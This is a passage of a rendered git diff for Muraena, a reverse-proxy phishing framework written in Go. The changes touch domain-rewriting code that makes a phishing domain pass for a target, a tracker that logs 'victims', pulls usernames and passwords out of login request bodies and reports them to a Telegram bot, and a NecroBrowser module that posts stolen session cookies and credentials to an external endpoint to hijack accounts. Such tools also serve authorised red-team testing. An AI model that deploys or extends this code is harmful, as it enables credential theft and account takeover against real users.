r.loopCount, tui.Green(fmt.Sprintf("%v", rep)))
|
||||
if r.loopCount > 30 {
|
||||
count, tui.Green(fmt.Sprintf("%v", rep)))
|
||||
|
||||
if count > 5 {
|
||||
log.Debug("Too many transformation loops, aborting.")
|
||||
return
|
||||
}
|
||||
|
||||
return r.Transform(input, forward, b64)
|
||||
// Pass count in as a parameter to avoid infinite loop
|
||||
return r.Transform(input, forward, b64, count)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -176,22 +227,61 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
|
|||
return
|
||||
}
|
||||
|
||||
func extractURLsFromHTML(htmlContent string) []string {
|
||||
var urls []string
|
||||
tokenizer := html.NewTokenizer(strings.NewReader(htmlContent))
|
||||
|
||||
for {
|
||||
tokenType := tokenizer.Next()
|
||||
switch tokenType {
|
||||
case html.ErrorToken:
|
||||
return urls
|
||||
case html.StartTagToken, html.SelfClosingTagToken:
|
||||
token := tokenizer.Token()
|
||||
if token.Data == "a" {
|
||||
for _, attr := range token.Attr {
|
||||
if attr.Key == "href" {
|
||||
// Manually re-encode the URL to preserve the original encoding
|
||||
encodedURL := html.EscapeString(attr.Val)
|
||||
urls = append(urls, encodedURL)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (r *Replacer) PatchComposedWildcardURL(URL string) (result string) {
|
||||
result = URL
|
||||
|
||||
wldPrefix := fmt.Sprintf("%s%s", r.ExternalOriginPrefix, WildcardPrefix)
|
||||
if strings.Contains(result, "---"+wldPrefix) {
|
||||
wldPrefix := fmt.Sprintf("%s%s", r.ExternalOriginPrefix, WildcardLabel)
|
||||
if strings.Contains(result, CustomWildcardSeparator+wldPrefix) {
|
||||
|
||||
subdomain := strings.Split(result, "---")[0]
|
||||
wildcard := strings.Split(result, "---")[1]
|
||||
// URL decode result
|
||||
decodedValue, err := url.QueryUnescape(result)
|
||||
if err == nil && result != decodedValue {
|
||||
result = decodedValue
|
||||
}
|
||||
|
||||
// this could be a nested url, so we need to extract the subdomain
|
||||
// we need to remove the protocol, anything before ://
|
||||
if strings.Contains(result, "://") {
|
||||
// starting from last occurrence of ://
|
||||
c := strings.Split(result, "://")
|
||||
result = c[len(c)-1]
|
||||
}
|
||||
|
||||
subdomain := strings.Split(result, CustomWildcardSeparator)[0]
|
||||
wildcard := strings.Split(result, CustomWildcardSeparator)[1]
|
||||
// remove r.Phishing from the wildcard
|
||||
wildcard = strings.Split(wildcard, "."+r.Phishing)[0]
|
||||
wildcard = strings.Split(wildcard, "/")[0] // just in case...
|
||||
|
||||
path := ""
|
||||
if strings.Contains(URL, r.Phishing+"/") {
|
||||
path = "/" + strings.Split(URL, r.Phishing+"/")[1]
|
||||
if strings.Contains(result, r.Phishing+"/") {
|
||||
path = "/" + strings.Split(result, r.Phishing+"/")[1]
|
||||
}
|
||||
wildcard = strings.Split(wildcard, "/")[0]
|
||||
|
||||
wildcard = strings.TrimSuffix(wildcard, fmt.Sprintf(".%s", r.Phishing))
|
||||
//wildcard = strings.TrimSuffix(wildcard, fmt.Sprintf(".%s", r.Phishing))
|
||||
|
||||
domain := fmt.Sprintf("%s.%s", subdomain, r.patchWildcard(wildcard))
|
||||
log.Info("Wildcard to patch: %s (%s)", tui.Bold(tui.Red(result)), tui.Green(domain))
|
||||
|
|
@ -203,13 +293,22 @@ func (r *Replacer) PatchComposedWildcardURL(URL string) (result string) {
|
|||
domain = strings.Split(domain, "://")[1]
|
||||
}
|
||||
r.SetExternalOrigins([]string{domain})
|
||||
if err := r.DomainMapping(); err != nil {
|
||||
log.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
//origins := r.GetOrigins()
|
||||
//if sub, ok := origins[domain]; ok {
|
||||
// log.Info("%s is mapped to %s", tui.Bold(tui.Red(domain)), tui.Green(sub))
|
||||
// result = fmt.Sprintf("%s%s.%s%s", protocol, sub, r.Phishing, path)
|
||||
// return
|
||||
//}
|
||||
|
||||
if err := r.Save(); err != nil {
|
||||
log.Error("Error saving replacer: %s", err)
|
||||
}
|
||||
|
||||
r.MakeReplacements()
|
||||
|
||||
result = fmt.Sprintf("%s%s%s", protocol, domain, path)
|
||||
}
|
||||
|
||||
|
|
@ -276,14 +375,82 @@ func (r *Replacer) transformUrl(URL string, base64 Base64) (result string, err e
|
|||
return
|
||||
}
|
||||
|
||||
// TODO merge the transformURL and transformBackwardURL
|
||||
func (r *Replacer) transformBackwardUrl(URL string, base64 Base64) (result string, err error) {
|
||||
result = URL
|
||||
|
||||
// After initial transformation round.
|
||||
// If the input is a valid URL proceed by transforming also the query string
|
||||
hURL, err := url.Parse(result)
|
||||
if err != nil || hURL.Scheme == "" || hURL.Host == "" {
|
||||
// Not valid URL, but continue anyway it might be the case of different values.
|
||||
// Log the error and reset its value
|
||||
// log.Debug("Error while url.Parsing: %s\n%s", result, err)
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
queryParts := strings.Split(hURL.RawQuery, "&")
|
||||
|
||||
// Create a slice to store key-value pairs
|
||||
var params []string
|
||||
|
||||
for _, part := range queryParts {
|
||||
keyValue := strings.Split(part, "=")
|
||||
if len(keyValue) == 2 {
|
||||
params = append(params, part)
|
||||
}
|
||||
}
|
||||
|
||||
// Modify the values
|
||||
for i, param := range params {
|
||||
keyValue := strings.Split(param, "=")
|
||||
if len(keyValue) == 2 {
|
||||
key := keyValue[0]
|
||||
value := keyValue[1]
|
||||
|
||||
// URL-decode the value
|
||||
decodedValue, err := url.QueryUnescape(value)
|
||||
if err == nil {
|
||||
value = r.Transform(decodedValue, false, base64)
|
||||
} else {
|
||||
value = r.Transform(value, false, base64)
|
||||
}
|
||||
|
||||
// URL-encode the modified value
|
||||
encodedValue := url.QueryEscape(value)
|
||||
|
||||
params[i] = key + "=" + encodedValue
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// Join the modified key-value pairs and set them as the new RawQuery
|
||||
hURL.RawQuery = strings.Join(params, "&")
|
||||
result = hURL.String()
|
||||
return
|
||||
}
|
||||
|
||||
// PatchWildcardList patches the wildcard domains in the list
|
||||
// and returns the patched list of domains to be used in the replacer
|
||||
// TODO: RENAME ME
|
||||
func (r *Replacer) patchWildcardList(rep []string) (prep []string) {
|
||||
rep = ArmorDomain(rep)
|
||||
for _, s := range rep {
|
||||
w := r.patchWildcard(s)
|
||||
if w != "" {
|
||||
prep = append(prep, w)
|
||||
|
||||
x := strings.Split(s, CustomWildcardSeparator)
|
||||
if len(x) < 2 {
|
||||
continue
|
||||
}
|
||||
|
||||
subdomain := strings.Split(s, CustomWildcardSeparator)[0]
|
||||
wildcard := strings.Split(s, CustomWildcardSeparator)[1]
|
||||
wildcard = strings.Split(wildcard, "/")[0]
|
||||
|
||||
//domain := r.patchWildcard(s)
|
||||
domain := fmt.Sprintf("%s.%s", subdomain, r.patchWildcard(wildcard))
|
||||
if domain != "" {
|
||||
prep = append(prep, domain)
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -293,8 +460,11 @@ func (r *Replacer) patchWildcardList(rep []string) (prep []string) {
|
|||
func (r *Replacer) patchWildcard(rep string) (prep string) {
|
||||
found := false
|
||||
newDomain := strings.TrimSuffix(rep, fmt.Sprintf(".%s", r.Phishing))
|
||||
for w, d := range r.WildcardMapping {
|
||||
|
||||
for w, d := range r.GetWildcardMapping() {
|
||||
if strings.HasSuffix(newDomain, d) {
|
||||
|
||||
// TODO: This is unclear ..
|
||||
newDomain = strings.TrimSuffix(newDomain, d)
|
||||
newDomain = strings.TrimSuffix(newDomain, "-")
|
||||
if newDomain != "" {
|
||||
|
|
@ -320,14 +490,14 @@ func (r *Replacer) MakeReplacements() {
|
|||
//
|
||||
origins := r.GetOrigins()
|
||||
|
||||
r.ForwardReplacements = []string{}
|
||||
r.ForwardReplacements = append(r.ForwardReplacements, []string{r.Phishing, r.Target}...)
|
||||
r.SetForwardReplacements([]string{})
|
||||
r.SetForwardReplacements(append(r.ForwardReplacements, []string{r.Phishing, r.Target}...))
|
||||
|
||||
log.Debug("[Forward | Origins]: %d", len(origins))
|
||||
log.Verbose("[Forward | Origins]: %d", len(origins))
|
||||
count := len(r.ForwardReplacements)
|
||||
for extOrigin, subMapping := range origins { // changes resource-1.phishing.
|
||||
|
||||
if strings.HasPrefix(subMapping, WildcardPrefix) {
|
||||
if strings.HasPrefix(subMapping, WildcardLabel) {
|
||||
// Ignoring wildcard at this stage
|
||||
log.Debug("[Wildcard] %s - %s", tui.Yellow(subMapping), tui.Green(extOrigin))
|
||||
continue
|
||||
|
|
@ -336,18 +506,19 @@ func (r *Replacer) MakeReplacements() {
|
|||
from := fmt.Sprintf("%s.%s", subMapping, r.Phishing)
|
||||
to := extOrigin
|
||||
rep := []string{from, to}
|
||||
r.ForwardReplacements = append(r.ForwardReplacements, rep...)
|
||||
r.SetForwardReplacements(append(r.ForwardReplacements, rep...))
|
||||
|
||||
count++
|
||||
log.Verbose("[Forward | replacements #%d]: %s > %s", count, tui.Yellow(rep[0]), tui.Green(to))
|
||||
}
|
||||
|
||||
// Append wildcards at the end
|
||||
for extOrigin, subMapping := range r.WildcardMapping {
|
||||
r.SetForwardWildcardReplacements([]string{})
|
||||
for extOrigin, subMapping := range r.GetWildcardMapping() {
|
||||
from := fmt.Sprintf("%s.%s", subMapping, r.Phishing)
|
||||
to := extOrigin
|
||||
rep := []string{from, to}
|
||||
r.ForwardReplacements = append(r.ForwardReplacements, rep...)
|
||||
r.SetForwardWildcardReplacements(append(r.ForwardWildcardReplacements, rep...))
|
||||
|
||||
count++
|
||||
log.Verbose("[Wild Forward | replacements #%d]: %s > %s", count, tui.Yellow(rep[0]), tui.Green(to))
|
||||
|
|
@ -356,13 +527,13 @@ func (r *Replacer) MakeReplacements() {
|
|||
//
|
||||
// Responses
|
||||
//
|
||||
r.BackwardReplacements = []string{}
|
||||
r.BackwardReplacements = append(r.BackwardReplacements, []string{r.Target, r.Phishing}...)
|
||||
r.SetBackwardReplacements([]string{})
|
||||
r.SetBackwardReplacements(append(r.BackwardReplacements, []string{r.Target, r.Phishing}...))
|
||||
|
||||
count = 0
|
||||
for include, subMapping := range origins {
|
||||
|
||||
if strings.HasPrefix(subMapping, WildcardPrefix) {
|
||||
if strings.HasPrefix(subMapping, WildcardLabel) {
|
||||
// Ignoring wildcard at this stage
|
||||
log.Verbose("[Wildcard] %s - %s", tui.Yellow(subMapping), tui.Green(include))
|
||||
continue
|
||||
|
|
@ -371,39 +542,39 @@ func (r *Replacer) MakeReplacements() {
|
|||
from := include
|
||||
to := fmt.Sprintf("%s.%s", subMapping, r.Phishing)
|
||||
rep := []string{from, to}
|
||||
r.BackwardReplacements = append(r.BackwardReplacements, rep...)
|
||||
r.SetBackwardReplacements(append(r.BackwardReplacements, rep...))
|
||||
|
||||
count++
|
||||
log.Verbose("[Backward | replacements #%d]: %s < %s", count, tui.Green(rep[0]), tui.Yellow(to))
|
||||
}
|
||||
|
||||
// Append wildcards at the end
|
||||
for include, subMapping := range r.WildcardMapping {
|
||||
r.SetBackwardWildcardReplacements([]string{})
|
||||
for include, subMapping := range r.GetWildcardMapping() {
|
||||
from := include
|
||||
to := fmt.Sprintf("%s.%s", subMapping, r.Phishing)
|
||||
rep := []string{from, to}
|
||||
r.BackwardReplacements = append(r.BackwardReplacements, rep...)
|
||||
|
||||
r.SetBackwardWildcardReplacements(append(r.BackwardWildcardReplacements, rep...))
|
||||
count++
|
||||
log.Verbose("[Wild Backward | replacements #%d]: %s < %s", count, tui.Green(rep[0]), tui.Yellow(to))
|
||||
}
|
||||
|
||||
// These should be done as Final replacements
|
||||
r.LastBackwardReplacements = []string{}
|
||||
r.SetLastBackwardReplacements([]string{})
|
||||
|
||||
// Custom HTTP response replacements
|
||||
for _, tr := range r.CustomResponseTransformations {
|
||||
r.LastBackwardReplacements = append(r.LastBackwardReplacements, tr...)
|
||||
r.SetLastBackwardReplacements(append(r.LastBackwardReplacements, tr...))
|
||||
log.Verbose("[Custom Replacements] %+v", tr)
|
||||
}
|
||||
|
||||
r.BackwardReplacements = append(r.BackwardReplacements, r.LastBackwardReplacements...)
|
||||
r.SetLastBackwardReplacements(append(r.BackwardReplacements, r.LastBackwardReplacements...))
|
||||
|
||||
}
|
||||
|
||||
func (r *Replacer) DomainMapping() (err error) {
|
||||
baseDom := r.Target
|
||||
log.Debug("Proxy destination: %s", tui.Bold(tui.Green("*."+baseDom)))
|
||||
//log.Debug("Proxy destination: %s", tui.Bold(tui.Green("*."+baseDom)))
|
||||
|
||||
origins := make(map[string]string)
|
||||
r.WildcardMapping = make(map[string]string)
|
||||
|
|
@ -428,18 +599,18 @@ func (r *Replacer) DomainMapping() (err error) {
|
|||
domain = strings.TrimPrefix(domain, "*.")
|
||||
|
||||
// Update the wildcard map
|
||||
prefix := fmt.Sprintf("%s%s", r.ExternalOriginPrefix, WildcardPrefix)
|
||||
prefix := fmt.Sprintf("%s%s", r.ExternalOriginPrefix, WildcardLabel)
|
||||
o := fmt.Sprintf("%s%d", prefix, wildcards)
|
||||
r.WildcardDomain = o
|
||||
r.WildcardMapping[domain] = o
|
||||
log.Debug(fmt.Sprintf("*.%s=%s", domain, o))
|
||||
r.SetWildcardDomain(o)
|
||||
r.SetWildcardMapping(domain, o)
|
||||
//log.Debug(fmt.Sprintf("*.%s=%s", domain, o))
|
||||
|
||||
} else {
|
||||
count++
|
||||
// Extra domains or nested subdomains
|
||||
o := fmt.Sprintf("%s%d", r.ExternalOriginPrefix, count)
|
||||
origins[domain] = o
|
||||
log.Debug(fmt.Sprintf("%s=%s", domain, o))
|
||||
//log.Debug(fmt.Sprintf("%s=%s", domain, o))
|
||||
}
|
||||
|
||||
}
|
||||
|
|
@ -449,7 +620,6 @@ func (r *Replacer) DomainMapping() (err error) {
|
|||
}
|
||||
|
||||
r.SetOrigins(origins)
|
||||
|
||||
log.Debug("Processed %d domains to transform, %d are wildcards", count, wildcards)
|
||||
//log.Verbose("Processed %d domains to transform, %d are wildcards", count, wildcards)
|
||||
return
|
||||
}
|
||||
|
|
|
|||
|
|
@ -65,7 +65,7 @@ func parseQuery(m Values, query string) (err error) {
|
|||
return err
|
||||
}
|
||||
|
||||
// Encode encodes the values into ``URL encoded'' form
|
||||
// Encode encodes the values into "URL encoded" form
|
||||
// ("bar=baz&foo=quux") NOT sorted by key.
|
||||
func (v Values) Encode() string {
|
||||
if v == nil {
|
||||
|
|
|
|||
|
|
@ -6,8 +6,7 @@ import (
|
|||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/muraenateam/muraena/log"
|
||||
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
"gopkg.in/resty.v1"
|
||||
|
||||
"github.com/muraenateam/muraena/core/db"
|
||||
|
|
@ -38,7 +37,7 @@ type Necrobrowser struct {
|
|||
Endpoint string
|
||||
Profile string
|
||||
|
||||
Request string
|
||||
RequestTemplate string
|
||||
}
|
||||
|
||||
// Cookies
|
||||
|
|
@ -104,19 +103,21 @@ func Load(s *session.Session) (m *Necrobrowser, err error) {
|
|||
return
|
||||
}
|
||||
|
||||
m.Request = string(bytes)
|
||||
m.RequestTemplate = string(bytes)
|
||||
|
||||
// spawn a go routine that checks all the victims cookie jars every N seconds
|
||||
// to see if we have any sessions ready to be instrumented
|
||||
if s.Config.NecroBrowser.Enabled {
|
||||
m.Info("enabled")
|
||||
go m.CheckSessions()
|
||||
|
||||
m.Info("trigger delay every %d seconds", s.Config.NecroBrowser.Trigger.Delay)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (module *Necrobrowser) CheckSessions() {
|
||||
|
||||
triggerType := module.Session.Config.NecroBrowser.Trigger.Type
|
||||
triggerDelay := module.Session.Config.NecroBrowser.Trigger.Delay
|
||||
|
||||
|
|
@ -125,12 +126,11 @@ func (module *Necrobrowser) CheckSessions() {
|
|||
case "cookies":
|
||||
module.CheckSessionCookies()
|
||||
case "path":
|
||||
// TODO
|
||||
log.Warning("currently unsupported. TODO implement path")
|
||||
default:
|
||||
log.Warning("unsupported trigger type: %s", triggerType)
|
||||
module.Debug("use authSessionResponse as trigger")
|
||||
}
|
||||
|
||||
module.Verbose("sleeping for %d seconds", triggerDelay)
|
||||
time.Sleep(time.Duration(triggerDelay) * time.Second)
|
||||
}
|
||||
}
|
||||
|
|
@ -143,8 +143,6 @@ func (module *Necrobrowser) CheckSessionCookies() {
|
|||
module.Debug("error fetching all victims: %s", err)
|
||||
}
|
||||
|
||||
// module.Debug("checkSessions: we have %d victim sessions. Checking authenticated ones.. ", len(victims))
|
||||
|
||||
for _, v := range victims {
|
||||
cookiesFound := 0
|
||||
cookiesNeeded := len(triggerValues)
|
||||
|
|
@ -177,6 +175,7 @@ func (module *Necrobrowser) CheckSessionCookies() {
|
|||
module.Debug("error marshalling %s", err)
|
||||
}
|
||||
|
||||
module.Info("instrumenting %s using %d cookies", tui.Bold(tui.Red(v.ID)), tui.Bold(tui.Red(string(rune(cookiesFound)))))
|
||||
module.Instrument(v.ID, v.Cookies, string(j))
|
||||
|
||||
// prevent the session to be instrumented twice
|
||||
|
|
@ -195,13 +194,10 @@ func Contains(slice *[]string, find string) bool {
|
|||
}
|
||||
|
||||
func (module *Necrobrowser) Instrument(victimID string, cookieJar []db.VictimCookie, credentialsJSON string) {
|
||||
|
||||
var necroCookies []SessionCookie
|
||||
const timeLayout = "2006-01-02 15:04:05 -0700 MST"
|
||||
|
||||
for _, c := range cookieJar {
|
||||
|
||||
module.Debug("trying to parse %s with layout %s", c.Expires, timeLayout)
|
||||
t, err := time.Parse(timeLayout, c.Expires)
|
||||
if err != nil {
|
||||
module.Warning("warning: cant's parse Expires field (%s) of cookie %s. skipping cookie", c.Expires, c.Name)
|
||||
|
|
@ -228,23 +224,23 @@ func (module *Necrobrowser) Instrument(victimID string, cookieJar []db.VictimCoo
|
|||
return
|
||||
}
|
||||
|
||||
cookiesJSON := string(c)
|
||||
module.Request = strings.ReplaceAll(module.Request, TrackerPlaceholder, victimID)
|
||||
module.Request = strings.ReplaceAll(module.Request, CookiePlaceholder, cookiesJSON)
|
||||
module.Request = strings.ReplaceAll(module.Request, CredentialsPlaceholder, credentialsJSON)
|
||||
|
||||
module.Debug(" Sending to NecroBrowser cookies:\n%v", cookiesJSON)
|
||||
newRequest := module.RequestTemplate
|
||||
newRequest = strings.ReplaceAll(newRequest, TrackerPlaceholder, victimID)
|
||||
newRequest = strings.ReplaceAll(newRequest, CookiePlaceholder, string(c))
|
||||
newRequest = strings.ReplaceAll(newRequest, CredentialsPlaceholder, credentialsJSON)
|
||||
|
||||
module.Info("instrumenting %s", tui.Bold(tui.Red(victimID)))
|
||||
client := resty.New()
|
||||
resp, err := client.R().
|
||||
SetHeader("Content-Type", "application/json").
|
||||
SetBody(module.Request).
|
||||
SetBody(newRequest).
|
||||
Post(module.Endpoint)
|
||||
|
||||
if err != nil {
|
||||
module.Warning("Error sending request to NecroBrowser: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
module.Info("NecroBrowser Response: %+v", resp)
|
||||
module.Info("instrumenting-response %s:\n%v", tui.Bold(tui.Red(victimID)), tui.Bold(tui.Green(resp.String())))
|
||||
return
|
||||
}
|
||||
|
|
|
|||
|
|
@ -8,6 +8,7 @@ import (
|
|||
"net/http"
|
||||
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
|
||||
"github.com/muraenateam/muraena/log"
|
||||
"github.com/muraenateam/muraena/session"
|
||||
)
|
||||
|
|
@ -116,11 +117,8 @@ func (module *Telegram) Send(message string) {
|
|||
}
|
||||
|
||||
func (module *Telegram) sendToChat(chat, message string) (err error) {
|
||||
|
||||
var response *http.Response
|
||||
|
||||
//module.Debug(`curl https://api.telegram.org/bot%s/sendMessage -H "Content-Type: application/json" -v -d '{"chat_id":"%s","text":"%s"}'`, module.BotToken, chat, message)
|
||||
|
||||
// Send the message
|
||||
url := fmt.Sprintf("%s/sendMessage", module.getUrl())
|
||||
body, _ := json.Marshal(map[string]string{
|
||||
|
|
@ -136,15 +134,16 @@ func (module *Telegram) sendToChat(chat, message string) (err error) {
|
|||
return err
|
||||
}
|
||||
|
||||
// Close the request at the end
|
||||
defer response.Body.Close()
|
||||
|
||||
// Body
|
||||
body, err = ioutil.ReadAll(response.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module.Debug("%s", string(body))
|
||||
if response.StatusCode != 200 {
|
||||
return fmt.Errorf("telegram error: [%s] %s", response.Status, body)
|
||||
}
|
||||
|
||||
module.Verbose("%s", body)
|
||||
return
|
||||
}
|
||||
|
|
|
|||
|
|
@ -39,7 +39,7 @@ const (
|
|||
|
||||
const (
|
||||
blockExtension = "JS,CSS,MAP,WOFF,SVG,SVC,JSON,GIF,ICO"
|
||||
blockMedia = "image/*,audio/*,video/*,font/*,application/*"
|
||||
blockMedia = "image/*,audio/*,video/*,font/*"
|
||||
)
|
||||
|
||||
var DisabledExtensions = strings.Split(strings.ToLower(blockExtension), ",")
|
||||
|
|
@ -55,6 +55,7 @@ type Tracker struct {
|
|||
Header string
|
||||
Landing string
|
||||
ValidatorRegex *regexp.Regexp
|
||||
TrackerLength int
|
||||
}
|
||||
|
||||
// Trace object structure
|
||||
|
|
@ -159,6 +160,9 @@ func Load(s *session.Session) (m *Tracker, err error) {
|
|||
}
|
||||
}
|
||||
|
||||
// get the tracker length
|
||||
m.TrackerLength = len(m.makeID())
|
||||
|
||||
m.Important("loaded successfully")
|
||||
return
|
||||
}
|
||||
|
|
@ -246,7 +250,7 @@ func (module *Tracker) makeID() string {
|
|||
return str.Generate(1)
|
||||
}
|
||||
|
||||
// TrackRequest tracks an HTTP Request
|
||||
// TrackRequest tracks an HTTP RequestTemplate
|
||||
func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) {
|
||||
|
||||
t = module.makeTrace("")
|
||||
|
|
@ -364,12 +368,11 @@ func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) {
|
|||
}
|
||||
|
||||
module.PushVictim(v)
|
||||
module.Info("New victim [%s] IP[%s] UA[%s]", tui.Bold(tui.Red(t.ID)), IPSource, request.UserAgent())
|
||||
module.Info("[%s] %s://%s%s", request.Method, request.URL.Scheme, request.Host, request.URL.Path)
|
||||
module.Info("[+] victim: %s \n\t%s\n\t%s", tui.Bold(tui.Red(t.ID)), tui.Yellow(IPSource), tui.Yellow(request.UserAgent()))
|
||||
//module.Debug("[%s] %s://%s%s", request.Method, request.URL.Scheme, request.Host, request.URL.Path)
|
||||
}
|
||||
|
||||
v.RequestCount++
|
||||
|
||||
if module.Type == "path" && isTrackedPath {
|
||||
request.URL.Path = module.Session.Config.Tracking.RedirectTo
|
||||
}
|
||||
|
|
@ -446,18 +449,23 @@ func (t *Trace) ExtractCredentials(body string, request *http.Request) (found bo
|
|||
// Investigate body only if the current URL.Path is related to credentials/keys to intercept
|
||||
// given UrlsOfInterest.Credentials URLs, intercept username/password using patterns defined in the configuration
|
||||
for _, c := range t.Session.Config.Tracking.Urls.Credentials {
|
||||
if request.URL.Path == c {
|
||||
|
||||
t.Verbose("[%s] there might be credentials here.")
|
||||
// If the URL is a wildcard, then we need to check if the request URL matches the wildcard
|
||||
matched := false
|
||||
if strings.HasPrefix(c, "^") && strings.HasSuffix(c, "$") {
|
||||
matched, _ = regexp.MatchString(c, request.URL.Path)
|
||||
} else {
|
||||
matched = request.URL.Path == c
|
||||
}
|
||||
|
||||
if matched {
|
||||
//t.Verbose("[%s] there might be credentials here.")
|
||||
for _, p := range t.Session.Config.Tracking.Patterns {
|
||||
|
||||
// Case *sensitive* matching
|
||||
if strings.Contains(body, p.Matching) {
|
||||
|
||||
// Extract it
|
||||
value := InnerSubstring(body, p.Start, p.End)
|
||||
if value != "" {
|
||||
|
||||
mediaType := strings.ToLower(request.Header.Get("Content-Type"))
|
||||
if strings.Contains(mediaType, "urlencoded") {
|
||||
value, err = url.QueryUnescape(value)
|
||||
|
|
@ -476,18 +484,23 @@ func (t *Trace) ExtractCredentials(body string, request *http.Request) (found bo
|
|||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
t.Info("[%s] New credentials! [%s:%s]", t.ID, creds.Key, creds.Value)
|
||||
|
||||
found = true
|
||||
|
||||
tel := telegram.Self(t.Session)
|
||||
if tel != nil {
|
||||
message := fmt.Sprintf("[%s] New credentials! [%s]", t.ID, creds.Key)
|
||||
message := fmt.Sprintf("[%s] [+] credentials: %s", t.ID, tui.Bold(creds.Key))
|
||||
t.Info("%s=%s", message, tui.Bold(tui.Red(creds.Value)))
|
||||
if tel := telegram.Self(t.Session); tel != nil {
|
||||
tel.Send(message)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if found {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if found {
|
||||
|
|
|
|||
|
|
@ -41,11 +41,11 @@ func (module *Tracker) ShowCredentials() {
|
|||
|
||||
victims, err := db.GetAllVictims()
|
||||
if err != nil {
|
||||
module.Debug("error fetching all victims: %s", err)
|
||||
module.Error("error fetching all victims: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
module.Debug("There are %d victims", len(victims))
|
||||
module.Verbose("There are %d victims", len(victims))
|
||||
for _, vID := range victims {
|
||||
for _, c := range vID.Credentials {
|
||||
rows = append(rows, []string{tui.Bold(tui.Green(vID.ID)), c.Key, c.Value, c.Time})
|
||||
|
|
@ -141,6 +141,5 @@ func (module *Tracker) PushCookie(victim *db.Victim, cookie db.VictimCookie) {
|
|||
return
|
||||
}
|
||||
|
||||
module.Debug("[%s] New cookie: %s on %s",
|
||||
victim.ID, tui.Bold(cookie.Name), tui.Bold(cookie.Domain))
|
||||
module.Debug("[%s][+] cookie: %s (%s)", victim.ID, tui.Bold(tui.Green(cookie.Name)), tui.Bold(tui.Green(cookie.Domain)))
|
||||
}
|
||||
|
|
|
|||
|
|
@ -318,12 +318,13 @@ func (b *Blacklist) Concatenate(items []*Rule) {
|
|||
}
|
||||
|
||||
// ParseRules parses a raw blacklist (text) and returns a Blacklist struct.
|
||||
// Match All [*] (Useful for creating a whitelist)
|
||||
// Match IP [e.g. 203.0.113.6 or 2001:db8::68]
|
||||
// Match IP Network [e.g.: 192.0.2.0/24 or ::1/128]
|
||||
// Match Hostname [e.g. crawl-66-249-66-1.googlebot.com]
|
||||
// Match Hostname RegExp [e.g.: ~ .*\.cox\.net]
|
||||
// Match Geofence [e.g.: @ 39.377297 -74.451082 (7km)] or [ @ Country:IT ] or [ @ City:Rome ]
|
||||
//
|
||||
// Match All [*] (Useful for creating a whitelist)
|
||||
// Match IP [e.g. 203.0.113.6 or 2001:db8::68]
|
||||
// Match IP Network [e.g.: 192.0.2.0/24 or ::1/128]
|
||||
// Match Hostname [e.g. crawl-66-249-66-1.googlebot.com]
|
||||
// Match Hostname RegExp [e.g.: ~ .*\.cox\.net]
|
||||
// Match Geofence [e.g.: @ 39.377297 -74.451082 (7km)] or [ @ Country:IT ] or [ @ City:Rome ]
|
||||
func ParseRules(rules string) Blacklist {
|
||||
lines := strings.Split(rules, "\n")
|
||||
blacklist := Blacklist{List: []*Rule{}}
|
||||
|
|
@ -494,7 +495,7 @@ func ParseRules(rules string) Blacklist {
|
|||
}
|
||||
|
||||
// Allow decides whether the Blacklist permits the selected IP address.
|
||||
//func (module *Watchdog) Allow(ip net.IP) bool {
|
||||
// func (module *Watchdog) Allow(ip net.IP) bool {
|
||||
func (module *Watchdog) Allow(r *http.Request) bool {
|
||||
|
||||
ip := GetRealAddr(r)
|
||||
|
|
|
|||
|
|
@ -67,6 +67,7 @@ func (m *SessionModule) Raw(format string, args ...interface{}) {
|
|||
log.Raw(m.tag+format, args...)
|
||||
}
|
||||
|
||||
func (m *SessionModule) Fatal(format string, args ...interface{}) {
|
||||
log.Fatal(m.tag+format, args...)
|
||||
}
|
||||
// NO Fatal() here, we want to keep the session alive
|
||||
//func (m *SessionModule) Fatal(format string, args ...interface{}) {
|
||||
// log.Fatal(m.tag+format, args...)
|
||||
//}
|
||||
|
|
|
|||
|
|
@ -64,7 +64,8 @@ func New() (*Session, error) {
|
|||
|
||||
// Load Redis
|
||||
if err = s.InitRedis(); err != nil {
|
||||
log.Fatal("%s", err)
|
||||
log.Error("%s", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
log.Info("Connected to Redis")
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue